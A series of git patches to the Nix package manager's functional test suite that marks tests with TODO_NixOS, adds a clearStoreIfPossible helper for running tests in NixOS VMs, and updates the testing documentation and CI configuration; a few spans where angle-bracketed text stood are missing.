diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh index 269f7f112..4eccb73e0 100755 --- a/tests/functional/build-remote-trustless-should-fail-0.sh +++ b/tests/functional/build-remote-trustless-should-fail-0.sh @@ -4,6 +4,7 @@ source common.sh enableFeatures "daemon-trust-override" +TODO_NixOS restartDaemon requireSandboxSupport diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh index ba5d1ff7a..34ce7fbe4 100755 --- a/tests/functional/build-remote-trustless-should-pass-2.sh +++ b/tests/functional/build-remote-trustless-should-pass-2.sh @@ -4,6 +4,8 @@ source common.sh enableFeatures "daemon-trust-override" +TODO_NixOS + restartDaemon # Remote doesn't trust us diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh index 187b89948..d01d79191 100755 --- a/tests/functional/build-remote-trustless-should-pass-3.sh +++ b/tests/functional/build-remote-trustless-should-pass-3.sh @@ -4,6 +4,7 @@ source common.sh enableFeatures "daemon-trust-override" +TODO_NixOS restartDaemon # Remote doesn't trusts us, but this is fine because we are only diff --git a/tests/functional/build.sh b/tests/functional/build.sh index a14e6d672..db759b6e9 100755 --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore # Make sure that 'nix build' returns all outputs by default. diff --git a/tests/functional/ca/common.sh b/tests/functional/ca/common.sh index b104b5a78..48f1ac46b 100644 --- a/tests/functional/ca/common.sh +++ b/tests/functional/ca/common.sh @@ -2,4 +2,6 @@ source ../common.sh enableFeatures "ca-derivations" +TODO_NixOS + restartDaemon diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh index 48a2ab13f..feddc6583 100755 --- a/tests/functional/case-hack.sh +++ b/tests/functional/case-hack.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore rm -rf "$TEST_ROOT/case" diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh index 6534e55c6..26790c11b 100755 --- a/tests/functional/check-refs.sh +++ b/tests/functional/check-refs.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore RESULT=$TEST_ROOT/result diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh index 4d795391e..bb91bacde 100755 --- a/tests/functional/check-reqs.sh +++ b/tests/functional/check-reqs.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore RESULT=$TEST_ROOT/result diff --git a/tests/functional/check.sh b/tests/functional/check.sh index efb93eeb0..8f602b487 100755 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -15,6 +15,8 @@ checkBuildTempDirRemoved () # written to build temp directories to verify created by this instance checkBuildId=$(date +%s%N) +TODO_NixOS + clearStore nix-build dependencies.nix --no-out-link @@ -76,6 +78,8 @@ grep 'may not be deterministic' $TEST_ROOT/log [ "$status" = "104" ] if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi +TODO_NixOS + clearStore path=$(nix-build check.nix -A fetchurl --no-out-link) diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh index 741907fca..03803a2b9 100755 --- a/tests/functional/chroot-store.sh +++ b/tests/functional/chroot-store.sh @@ -39,6 +39,8 @@ EOF cp simple.nix shell.nix simple.builder.sh config.nix "$flakeDir/" + TODO_NixOS + outPath=$(nix build --print-out-paths --no-link --sandbox-paths '/nix? /bin? /lib? /lib64? /usr?' --store "$TEST_ROOT/x" path:"$flakeDir") [[ $outPath =~ ^/nix2/store/.*-simple$ ]] diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh index 6a2111f10..f51c3f509 100755 --- a/tests/functional/compression-levels.sh +++ b/tests/functional/compression-levels.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/config.sh b/tests/functional/config.sh index 1811b755c..50858eaa4 100755 --- a/tests/functional/config.sh +++ b/tests/functional/config.sh @@ -28,6 +28,8 @@ nix registry remove userhome-with-xdg # Assert the .config folder hasn't been created. [ ! -e "$HOME/.config" ] +TODO_NixOS # Very specific test setup not compatible with the NixOS test environment? + # Test that files are loaded from XDG by default export XDG_CONFIG_HOME=$TEST_ROOT/confighome export XDG_CONFIG_DIRS=$TEST_ROOT/dir1:$TEST_ROOT/dir2 diff --git a/tests/functional/db-migration.sh b/tests/functional/db-migration.sh index a6a5c7744..6feabb90d 100755 --- a/tests/functional/db-migration.sh +++ b/tests/functional/db-migration.sh @@ -10,6 +10,8 @@ if [[ -z "${NIX_DAEMON_PACKAGE-}" ]]; then skipTest "not using the Nix daemon" fi +TODO_NixOS + killDaemon # Fill the db using the older Nix diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh index 47e644bb7..178822d79 100755 --- a/tests/functional/debugger.sh +++ b/tests/functional/debugger.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore # regression #9932 diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh index 1b266935d..bb01b3988 100755 --- a/tests/functional/dependencies.sh +++ b/tests/functional/dependencies.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore drvPath=$(nix-instantiate dependencies.nix) diff --git a/tests/functional/dump-db.sh b/tests/functional/dump-db.sh index 2d0460275..14181b4b6 100755 --- a/tests/functional/dump-db.sh +++ b/tests/functional/dump-db.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + needLocalStore "--dump-db requires a local store" clearStore diff --git a/tests/functional/dyn-drv/common.sh b/tests/functional/dyn-drv/common.sh index c786f6925..0d95881b6 100644 --- a/tests/functional/dyn-drv/common.sh +++ b/tests/functional/dyn-drv/common.sh @@ -5,4 +5,6 @@ requireDaemonNewerThan "2.16.0pre20230419" enableFeatures "ca-derivations dynamic-derivations" +TODO_NixOS + restartDaemon diff --git a/tests/functional/eval-store.sh b/tests/functional/eval-store.sh index 0ab608acc..202e7b004 100755 --- a/tests/functional/eval-store.sh +++ b/tests/functional/eval-store.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + # Using `--eval-store` with the daemon will eventually copy everything # to the build store, invalidating most of the tests here needLocalStore "“--eval-store” doesn't achieve much with the daemon" diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index acd6e2915..ba335d73a 100755 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore testStdinHeredoc=$(nix eval -f - < baz.cat-nar diff -u baz.cat-nar $storePath/foo/baz +TODO_NixOS + # Check that 'nix store cat' fails on invalid store paths. invalidPath="$(dirname $storePath)/99999999999999999999999999999999-foo" cp -r $storePath $invalidPath diff --git a/tests/functional/nested-sandboxing.sh b/tests/functional/nested-sandboxing.sh index 44c3bb2bc..ae0256de2 100755 --- a/tests/functional/nested-sandboxing.sh +++ b/tests/functional/nested-sandboxing.sh @@ -4,6 +4,8 @@ source common.sh # This test is run by `tests/functional/nested-sandboxing/runner.nix` in an extra layer of sandboxing. [[ -d /nix/store ]] || skipTest "running this test without Nix's deps being drawn from /nix/store is not yet supported" +TODO_NixOS + requireSandboxSupport source ./nested-sandboxing/command.sh diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh index 45ff314c7..cfba7f020 100755 --- a/tests/functional/nix-build.sh +++ b/tests/functional/nix-build.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore outPath=$(nix-build dependencies.nix -o $TEST_ROOT/result) diff --git a/tests/functional/nix-collect-garbage-d.sh b/tests/functional/nix-collect-garbage-d.sh index 07aaf61e9..119efe629 100755 --- a/tests/functional/nix-collect-garbage-d.sh +++ b/tests/functional/nix-collect-garbage-d.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore ## Test `nix-collect-garbage -d` diff --git a/tests/functional/nix-copy-ssh-common.sh b/tests/functional/nix-copy-ssh-common.sh index cc8314ff7..5eea9612d 100644 --- a/tests/functional/nix-copy-ssh-common.sh +++ b/tests/functional/nix-copy-ssh-common.sh @@ -2,6 +2,8 @@ proto=$1 shift (( $# == 0 )) +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/nix-copy-ssh-ng.sh b/tests/functional/nix-copy-ssh-ng.sh index 1fd735b9d..41958c2c3 100755 --- a/tests/functional/nix-copy-ssh-ng.sh +++ b/tests/functional/nix-copy-ssh-ng.sh @@ -4,6 +4,8 @@ source common.sh source nix-copy-ssh-common.sh "ssh-ng" +TODO_NixOS + clearStore clearRemoteStore diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh index 3e5846cf2..e2f19b99e 100755 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearProfiles diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index c38107e64..66aece388 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore if [[ -n ${CONTENT_ADDRESSED:-} ]]; then diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh index 70ce954f9..f010c5549 100755 --- a/tests/functional/optimise-store.sh +++ b/tests/functional/optimise-store.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore outPath1=$(echo 'with import ./config.nix; mkDerivation { name = "foo1"; builder = builtins.toFile "builder" "mkdir $out; echo hello > $out/foo"; }' | nix-build - --no-out-link --auto-optimise-store) diff --git a/tests/functional/output-normalization.sh b/tests/functional/output-normalization.sh index 2b319201a..c55f1b1d1 100755 --- a/tests/functional/output-normalization.sh +++ b/tests/functional/output-normalization.sh @@ -3,6 +3,7 @@ source common.sh testNormalization () { + TODO_NixOS clearStore outPath=$(nix-build ./simple.nix --no-out-link) test "$(stat -c %Y $outPath)" -eq 1 diff --git a/tests/functional/parallel.sh b/tests/functional/parallel.sh index 3b7bbe5a2..7e420688d 100644 --- a/tests/functional/parallel.sh +++ b/tests/functional/parallel.sh @@ -4,6 +4,8 @@ source common.sh # First, test that -jN performs builds in parallel. echo "testing nix-build -j..." +TODO_NixOS + clearStore rm -f $_NIX_TEST_SHARED.cur $_NIX_TEST_SHARED.max diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh index 21d9ffc6d..0b5605d05 100755 --- a/tests/functional/pass-as-file.sh +++ b/tests/functional/pass-as-file.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore outPath=$(nix-build --no-out-link -E " diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh index f2b8bf6bf..d4e09a91b 100755 --- a/tests/functional/placeholders.sh +++ b/tests/functional/placeholders.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore nix-build --no-out-link -E ' diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh index 7540d1045..94a6d0d69 100755 --- a/tests/functional/post-hook.sh +++ b/tests/functional/post-hook.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore rm -f $TEST_ROOT/result diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh index 6d8aa35ec..8a18dec6e 100755 --- a/tests/functional/pure-eval.sh +++ b/tests/functional/pure-eval.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore nix eval --expr 'assert 1 + 2 == 3; true' diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh index ecc57642d..f6b6eaf32 100755 --- a/tests/functional/read-only-store.sh +++ b/tests/functional/read-only-store.sh @@ -6,6 +6,8 @@ enableFeatures "read-only-local-store" needLocalStore "cannot open store read-only when daemon has already opened it writeable" +TODO_NixOS + clearStore happy () { diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh index d0644471d..0ef549c8d 100755 --- a/tests/functional/readfile-context.sh +++ b/tests/functional/readfile-context.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore outPath=$(nix-build --no-out-link readfile-context.nix) diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh index a9966aabd..6b255e81a 100755 --- a/tests/functional/recursive.sh +++ b/tests/functional/recursive.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + enableFeatures 'recursive-nix' restartDaemon diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh index 0fda97378..411cdb7c1 100755 --- a/tests/functional/referrers.sh +++ b/tests/functional/referrers.sh @@ -4,6 +4,8 @@ source common.sh needLocalStore "uses some low-level store manipulations that aren’t available through the daemon" +TODO_NixOS + clearStore max=500 diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh index 171a5d391..841b6b27a 100755 --- a/tests/functional/remote-store.sh +++ b/tests/functional/remote-store.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore # Ensure "fake ssh" remote store works just as legacy fake ssh would. diff --git a/tests/functional/repair.sh b/tests/functional/repair.sh index 552e04280..1f6004b2c 100755 --- a/tests/functional/repair.sh +++ b/tests/functional/repair.sh @@ -4,6 +4,8 @@ source common.sh needLocalStore "--repair needs a local store" +TODO_NixOS + clearStore path=$(nix-build dependencies.nix -o $TEST_ROOT/result) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index fca982807..86cd6f458 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -22,6 +22,8 @@ replUndefinedVariable=" import $testDir/undefined-variable.nix " +TODO_NixOS + testRepl () { local nixArgs nixArgs=("$@") diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh index ab4cad5cf..917a554c5 100755 --- a/tests/functional/restricted.sh +++ b/tests/functional/restricted.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore nix-instantiate --restrict-eval --eval -E '1 + 2' diff --git a/tests/functional/search.sh b/tests/functional/search.sh index ce17411d2..1195c2a06 100755 --- a/tests/functional/search.sh +++ b/tests/functional/search.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/secure-drv-outputs.sh b/tests/functional/secure-drv-outputs.sh index 7d81db58b..5cc4af435 100755 --- a/tests/functional/secure-drv-outputs.sh +++ b/tests/functional/secure-drv-outputs.sh @@ -6,6 +6,8 @@ source common.sh +TODO_NixOS + clearStore startDaemon diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh index 37ce33089..a5e368b51 100755 --- a/tests/functional/selfref-gc.sh +++ b/tests/functional/selfref-gc.sh @@ -4,6 +4,8 @@ source common.sh requireDaemonNewerThan "2.6.0pre20211215" +TODO_NixOS + clearStore nix-build --no-out-link -E ' diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh index 1760eefff..b4c03f547 100755 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh index cf84ab377..d268fd116 100755 --- a/tests/functional/signing.sh +++ b/tests/functional/signing.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore clearCache diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh index 4e7d37f59..86acca0c2 100755 --- a/tests/functional/simple.sh +++ b/tests/functional/simple.sh @@ -17,6 +17,8 @@ echo "output path is $outPath" text=$(cat "$outPath/hello") if test "$text" != "Hello World!"; then exit 1; fi +TODO_NixOS + # Directed delete: $outPath is not reachable from a root, so it should # be deleteable. nix-store --delete $outPath diff --git a/tests/functional/store-info.sh b/tests/functional/store-info.sh index 2398f5beb..f37889fbb 100755 --- a/tests/functional/store-info.sh +++ b/tests/functional/store-info.sh @@ -16,4 +16,6 @@ fi expect 127 NIX_REMOTE=unix:$PWD/store nix store info || \ fail "nix store info on a non-existent store should fail" +TODO_NixOS + [[ "$(echo "$STORE_INFO_JSON" | jq -r ".url")" == "${NIX_REMOTE:-local}" ]] diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh index ba7f5967e..32d4c9957 100755 --- a/tests/functional/structured-attrs.sh +++ b/tests/functional/structured-attrs.sh @@ -6,6 +6,8 @@ source common.sh # tests for the older versions requireDaemonNewerThan "2.4pre20210712" +TODO_NixOS + clearStore rm -f $TEST_ROOT/result diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh index 6ec1cd322..1140e4f78 100755 --- a/tests/functional/suggestions.sh +++ b/tests/functional/suggestions.sh @@ -2,6 +2,8 @@ source common.sh +TODO_NixOS + clearStore cd "$TEST_HOME" diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh index 9d474219f..5d329efc9 100755 --- a/tests/functional/supplementary-groups.sh +++ b/tests/functional/supplementary-groups.sh @@ -7,6 +7,8 @@ requireSandboxSupport if ! command -p -v unshare; then skipTest "Need unshare"; fi needLocalStore "The test uses --store always so we would just be bypassing the daemon" +TODO_NixOS + unshare --mount --map-root-user bash < Date: Sun, 16 Jun 2024 16:40:20 +0200 Subject: [PATCH 0853/1251] tests: Add quickBuild to all VM tests --- tests/nixos/default.nix | 8 +++++++- tests/nixos/functional/common.nix | 5 ----- tests/nixos/{functional => }/quick-build.nix | 0 3 files changed, 7 insertions(+), 6 deletions(-) rename tests/nixos/{functional => }/quick-build.nix (100%) diff --git a/tests/nixos/default.nix b/tests/nixos/default.nix index 2ab00b336..512195a67 100644 --- a/tests/nixos/default.nix +++ b/tests/nixos/default.nix @@ -7,7 +7,13 @@ let # https://nixos.org/manual/nixos/unstable/index.html#sec-calling-nixos-tests runNixOSTestFor = system: test: (nixos-lib.runTest { - imports = [ test ]; + imports = [ + test + + # Add the quickBuild attribute to the check packages + ./quick-build.nix + ]; + hostPkgs = nixpkgsFor.${system}.native; defaults = { nixpkgs.pkgs = nixpkgsFor.${system}.native; diff --git a/tests/nixos/functional/common.nix b/tests/nixos/functional/common.nix index 493791a7b..51fd76884 100644 --- a/tests/nixos/functional/common.nix +++ b/tests/nixos/functional/common.nix @@ -8,11 +8,6 @@ let in { - imports = [ - # Add the quickBuild attribute to the check package - ./quick-build.nix - ]; - # We rarely change the script in a way that benefits from type checking, so # we skip it to save time. skipTypeCheck = true; diff --git a/tests/nixos/functional/quick-build.nix b/tests/nixos/quick-build.nix similarity index 100% rename from tests/nixos/functional/quick-build.nix rename to tests/nixos/quick-build.nix From fca160fbcd9f8852b67c99eacf201ea0b693142a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 16:50:56 +0200 Subject: [PATCH 0854/1251] doc/contributing/testing: Describe functional VM tests and quickBuild --- doc/manual/src/contributing/testing.md | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/testing.md b/doc/manual/src/contributing/testing.md index 88b3c5cd9..717deabd7 100644 --- a/doc/manual/src/contributing/testing.md +++ b/doc/manual/src/contributing/testing.md @@ -114,6 +114,8 @@ On other platforms they wouldn't be run at all. The functional tests reside under the `tests/functional` directory and are listed in `tests/functional/local.mk`. Each test is a bash script. +Functional tests are run during `installCheck` in the `nix` package build, as well as separately from the build, in VM tests. + ### Running the whole test suite The whole test suite can be run with: @@ -252,13 +254,30 @@ Regressions are caught, and improvements always show up in code review. To ensure that characterisation testing doesn't make it harder to intentionally change these interfaces, there always must be an easy way to regenerate the expected output, as we do with `_NIX_TEST_ACCEPT=1`. +### Running functional tests on NixOS + +We run the functional tests not just in the build, but also in VM tests. +This helps us ensure that Nix works correctly on NixOS, and environments that have similar characteristics that are hard to reproduce in a build environment. + +The recommended way to run these tests during development is: + +```shell +nix build .#hydraJobs.tests.functional_user.quickBuild +``` + +The `quickBuild` attribute configures the test to use a `nix` package that's built without integration tests, so that you can iterate on the tests without performing recompilations due to the changed sources for `installCheck`. + +Generally, this build is sufficient, but in nightly or CI we also test the attributes `functional_root` and `functional_trusted`, in which the test suite is run with different levels of authorization. + ## Integration tests The integration tests are defined in the Nix flake under the `hydraJobs.tests` attribute. These tests include everything that needs to interact with external services or run Nix in a non-trivial distributed setup. Because these tests are expensive and require more than what the standard github-actions setup provides, they only run on the master branch (on ). -You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}` +You can run them manually with `nix build .#hydraJobs.tests.{testName}` or `nix-build -A hydraJobs.tests.{testName}`. + +If you are testing a build of `nix` that you haven't compiled yet, you may iterate faster by appending the `quickBuild` attribute: `nix build .#hydraJobs.tests.{testName}.quickBuild`. ## Installer tests From f0abe4d8f0f38e22e61cc79517494437e365375c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 16:57:15 +0200 Subject: [PATCH 0855/1251] ci: Build tests.functional_user for PRs --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 1aa3b776e..6362620b0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -175,4 +175,4 @@ jobs: - uses: actions/checkout@v4 - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes + - run: nix build -L .#hydraJobs.tests.githubFlakes .#hydraJobs.tests.tarballFlakes .#hydraJobs.tests.functional_user From 648302b833e6eae4a1c81fe897532e9fa8d7fd6b Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sun, 16 Jun 2024 17:56:50 +0200 Subject: [PATCH 0856/1251] tests/functional: Enable more tests in NixOS VM --- tests/functional/add.sh | 4 +--- tests/functional/binary-cache-build-remote.sh | 2 +- tests/functional/build-delete.sh | 4 +--- tests/functional/build.sh | 4 +--- tests/functional/check-refs.sh | 19 ++++++++++++------- tests/functional/check-reqs.sh | 4 +--- tests/functional/common/vars-and-functions.sh | 16 +++++++++++++++- tests/functional/compression-levels.sh | 4 +--- tests/functional/debugger.sh | 4 +--- tests/functional/dependencies.sh | 6 +++--- tests/functional/eval.sh | 4 +--- tests/functional/fetchGit.sh | 4 +--- tests/functional/fetchGitRefs.sh | 4 +--- tests/functional/fetchGitSubmodules.sh | 4 +--- tests/functional/fetchGitVerification.sh | 4 +--- tests/functional/flakes/search-root.sh | 4 +--- tests/functional/fmt.sh | 6 ++---- tests/functional/git-hashing/common.sh | 2 +- tests/functional/help.sh | 4 ---- tests/functional/import-derivation.sh | 4 +--- tests/functional/impure-derivations.sh | 2 +- tests/functional/multiple-outputs.sh | 2 +- tests/functional/nix-build.sh | 2 +- tests/functional/nix-shell.sh | 4 +--- tests/functional/optimise-store.sh | 7 ++++--- tests/functional/pass-as-file.sh | 4 +--- tests/functional/placeholders.sh | 4 +--- tests/functional/pure-eval.sh | 4 +--- tests/functional/readfile-context.sh | 2 +- tests/functional/recursive.sh | 2 +- tests/functional/restricted.sh | 4 +--- tests/functional/search.sh | 4 +--- tests/functional/selfref-gc.sh | 4 +--- tests/functional/signing.sh | 5 ++--- tests/functional/structured-attrs.sh | 6 +++--- tests/functional/suggestions.sh | 4 +--- tests/functional/tarball.sh | 4 +--- tests/functional/why-depends.sh | 4 +--- 38 files changed, 71 insertions(+), 104 deletions(-) diff --git a/tests/functional/add.sh b/tests/functional/add.sh index 328b14831..3b37ee7d4 100755 --- a/tests/functional/add.sh +++ b/tests/functional/add.sh @@ -31,9 +31,7 @@ test "$hash1" = "sha256:$hash2" #### New style commands -TODO_NixOS - -clearStore +clearStoreIfPossible ( path1=$(nix store add ./dummy) diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh index 17e8bdcc1..5046d0064 100755 --- a/tests/functional/binary-cache-build-remote.sh +++ b/tests/functional/binary-cache-build-remote.sh @@ -4,7 +4,7 @@ source common.sh TODO_NixOS -clearStore +clearStoreIfPossible clearCacheCache # Fails without remote builders diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh index 2ebf1fd3d..18841509d 100755 --- a/tests/functional/build-delete.sh +++ b/tests/functional/build-delete.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible # https://github.com/NixOS/nix/issues/6572 issue_6572_independent_outputs() { diff --git a/tests/functional/build.sh b/tests/functional/build.sh index db759b6e9..9de953d8c 100755 --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible # Make sure that 'nix build' returns all outputs by default. nix build -f multiple-outputs.nix --json a b --no-link | jq --exit-status ' diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh index 26790c11b..5c3ac915e 100755 --- a/tests/functional/check-refs.sh +++ b/tests/functional/check-refs.sh @@ -45,13 +45,18 @@ nix-build -o "$RESULT" check-refs.nix -A test7 # test10 should succeed (no disallowed references). nix-build -o "$RESULT" check-refs.nix -A test10 -if isDaemonNewer 2.12pre20230103; then - if ! isDaemonNewer 2.16.0; then - enableFeatures discard-references - restartDaemon +if ! isTestOnNixOS; then + # If we have full control over our store, we can test some more things. + + if isDaemonNewer 2.12pre20230103; then + if ! isDaemonNewer 2.16.0; then + enableFeatures discard-references + restartDaemon + fi + + # test11 should succeed. + test11=$(nix-build -o "$RESULT" check-refs.nix -A test11) + [[ -z $(nix-store -q --references "$test11") ]] fi - # test11 should succeed. - test11=$(nix-build -o "$RESULT" check-refs.nix -A test11) - [[ -z $(nix-store -q --references "$test11") ]] fi diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh index bb91bacde..34eb133db 100755 --- a/tests/functional/check-reqs.sh +++ b/tests/functional/check-reqs.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible RESULT=$TEST_ROOT/result diff --git a/tests/functional/common/vars-and-functions.sh b/tests/functional/common/vars-and-functions.sh index 4b0fee5b2..8237d853f 100644 --- a/tests/functional/common/vars-and-functions.sh +++ b/tests/functional/common/vars-and-functions.sh @@ -82,11 +82,25 @@ clearProfiles() { rm -rf "$profiles" } +# Clear the store, but do not fail if we're in an environment where we can't. +# This allows the test to run in a NixOS test environment, where we use the system store. +# See doc/manual/src/contributing/testing.md / Running functional tests on NixOS. +clearStoreIfPossible() { + if isTestOnNixOS; then + echo "clearStoreIfPossible: Not clearing store, because we're on NixOS. Moving on." + else + doClearStore + fi +} + clearStore() { if isTestOnNixOS; then - die "clearStore: not supported when testing on NixOS. Is it really needed? If so add conditionals; e.g. if ! isTestOnNixOS; then ..." + die "clearStore: not supported when testing on NixOS. If not essential, call clearStoreIfPossible. If really needed, add conditionals; e.g. if ! isTestOnNixOS; then ..." fi + doClearStore +} +doClearStore() { echo "clearing store..." chmod -R +w "$NIX_STORE_DIR" rm -rf "$NIX_STORE_DIR" diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh index f51c3f509..399265f9c 100755 --- a/tests/functional/compression-levels.sh +++ b/tests/functional/compression-levels.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible clearCache outPath=$(nix-build dependencies.nix --no-out-link) diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh index 178822d79..b96b7e5d3 100755 --- a/tests/functional/debugger.sh +++ b/tests/functional/debugger.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible # regression #9932 echo ":env" | expect 1 nix eval --debugger --expr '(_: throw "oh snap") 42' diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh index bb01b3988..972bc5a9b 100755 --- a/tests/functional/dependencies.sh +++ b/tests/functional/dependencies.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible drvPath=$(nix-instantiate dependencies.nix) @@ -67,6 +65,8 @@ drvPath2=$(nix-instantiate dependencies.nix --argstr hashInvalidator yay) # now --valid-derivers returns both test "$(nix-store -q --valid-derivers "$outPath" | sort)" = "$(sort <<< "$drvPath"$'\n'"$drvPath2")" +TODO_NixOS # The following --delete fails, because it seems to be still alive. This might be caused by a different test using the same path. We should try make the derivations unique, e.g. naming after tests, and adding a timestamp that's constant for that test script run. + # check that nix-store --valid-derivers only returns existing drv nix-store --delete "$drvPath" test "$(nix-store -q --valid-derivers "$outPath")" = "$drvPath2" diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh index ba335d73a..27cdce478 100755 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore +clearStoreIfPossible testStdinHeredoc=$(nix eval -f - < $TEST_ROOT/counter diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh index c4af56f0b..35a78d152 100755 --- a/tests/functional/multiple-outputs.sh +++ b/tests/functional/multiple-outputs.sh @@ -4,7 +4,7 @@ source common.sh TODO_NixOS -clearStore +clearStoreIfPossible rm -f $TEST_ROOT/result* diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh index cfba7f020..091e429e0 100755 --- a/tests/functional/nix-build.sh +++ b/tests/functional/nix-build.sh @@ -4,7 +4,7 @@ source common.sh TODO_NixOS -clearStore +clearStoreIfPossible outPath=$(nix-build dependencies.nix -o $TEST_ROOT/result) test "$(cat $TEST_ROOT/result/foobar)" = FOOBAR diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh index 66aece388..2c94705de 100755 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -2,9 +2,7 @@ source common.sh -TODO_NixOS - -clearStore 